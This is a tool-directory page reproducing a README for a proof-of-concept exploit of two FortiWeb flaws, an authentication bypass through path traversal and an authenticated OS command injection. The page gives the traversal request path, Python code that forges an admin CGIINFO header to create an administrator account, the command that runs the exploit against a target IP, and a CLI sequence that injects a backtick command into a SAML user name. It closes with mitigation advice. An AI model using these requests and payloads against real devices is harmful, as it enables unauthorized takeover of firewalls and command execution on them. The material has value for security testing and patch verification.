Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/eagle-nett/fortiweb_cve-2025-64446-58034
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubeagle-nett/fortiweb_cve-2025-64446-58034

FORTIWEB_CVE-2025-64446-58034

PoC exploit for FortiWeb CVEs: authentication bypass via path traversal and authenticated OS command injection. Includes detailed analysis, payloads, and mitigation guidance for security testing.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
45 months agoNot yet reviewed

FortiWeb Exploit Simulation (CVE-2025-64446 & CVE-2025-58034)

Note:

  • This document is for educational and security research purposes only.
  • Do not use to attack systems without authorization.

1. Overview

FortiWeb is a Web Application Firewall (WAF) device used to protect web applications.

In 2025, two critical vulnerabilities were discovered:

  • CVE-2025-64446 – Authentication Bypass via Path Traversal
  • CVE-2025-58034 – OS Command Injection

2. Overview of CVE-2025-64446

ItemDescription
Vulnerability TypeRelative Path Traversal
Authentication Bypass
CauseFortiWeb loosely handles paths before authentication:

- Access control based on logical path strings
- Does not fully normalize paths
- Allows using ../ to access internal resources
DescriptionSome administrative endpoints can be accessed without valid authentication
Impact- Complete authentication bypass
- Unauthorized access to admin functions
- Breaks privilege model
Affected Versions- 8.0.0 – 8.0.1
- 7.6.0 – 7.6.4
- 7.4.0 – 7.4.9
- 7.2.0 – 7.2.11
- 7.0.0 – 7.0.11

Example:

root@kitploit:~
/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi

3. Overview of CVE-2025-58034


4. Experiment Process (POC)

4.1. Environment Setup:

root@kitploit:~
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

This helps avoid library version conflicts, ensures a stable working environment, and minimizes impact on the system

venv-git

4.2 Exploitation

Payload

root@kitploit:~
 cgiinfo_json = {
        "username": "admin",
        "profname": "prof_admin",
        "vdom": "root",
        "loginname": "admin"
    }
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
        resp = conn.getresponse()
result = {
            'target': f"{host}:{port}",
            'status': resp.status,
            'user': username,
            'password': password,
            'success': resp.status == 200
        }

Run the tool with Python3:

root@kitploit:~
python3 exploit.py <IP_target>
  • <IP_target>: The IP address here is the hostname of the FortiWeb device.

exploit

Obtaining username and password -> proceed to login

login

connect

Exploitation successful and a new account with admin privileges is created.

4.3 Exploiting CVE-2025-58034 After Account Login

After successfully logging in with the newly created admin account, an attacker can exploit the authenticated command injection vulnerability through specially crafted requests or directly via the FortiWeb CLI:

root@kitploit:~
config user saml-user

edit "`id`" ## nhập lệnh tại đây

set entityID http://foo

set service-path /foo

set enforce-signing disable

set slo-bind post

set slo-path /foo

set sso-bind post

set sso-path /foo

end

FortiWeb will break out of the configuration string and execute the id command during the saml-user configuration.

5. Mitigation Measures

  • Update FortiWeb to a patched version.
  • Restrict access to the management interface.
  • Do not expose the management interface to the Internet.
  • Check for anomalous admin accounts.

6. Additional References

  • CVE-2025-64446 – https://nvd.nist.gov/vuln/detail/CVE-2025-64446
  • CVE-2025-58034 – https://nvd.nist.gov/vuln/detail/CVE-2025-58034
Download Tool
ItemDescription
Vulnerability TypeOS Command Injection (CWE-78)
CauseFortiWeb unsafely handles input when executing operating system commands:

- No input validation
- Lack of special character escaping
- Directly passes user data into system commands
DescriptionThe vulnerability requires authentication but allows injection of system commands
Impact- Executes unintended commands
- Accesses system resources
- Affects integrity and availability
Affected Versions- 8.0.0 – 8.0.1
- 7.6.0 – 7.6.5
- 7.4.0 – 7.4.10
- 7.2.0 – 7.2.11
- 7.0.0 – 7.0.11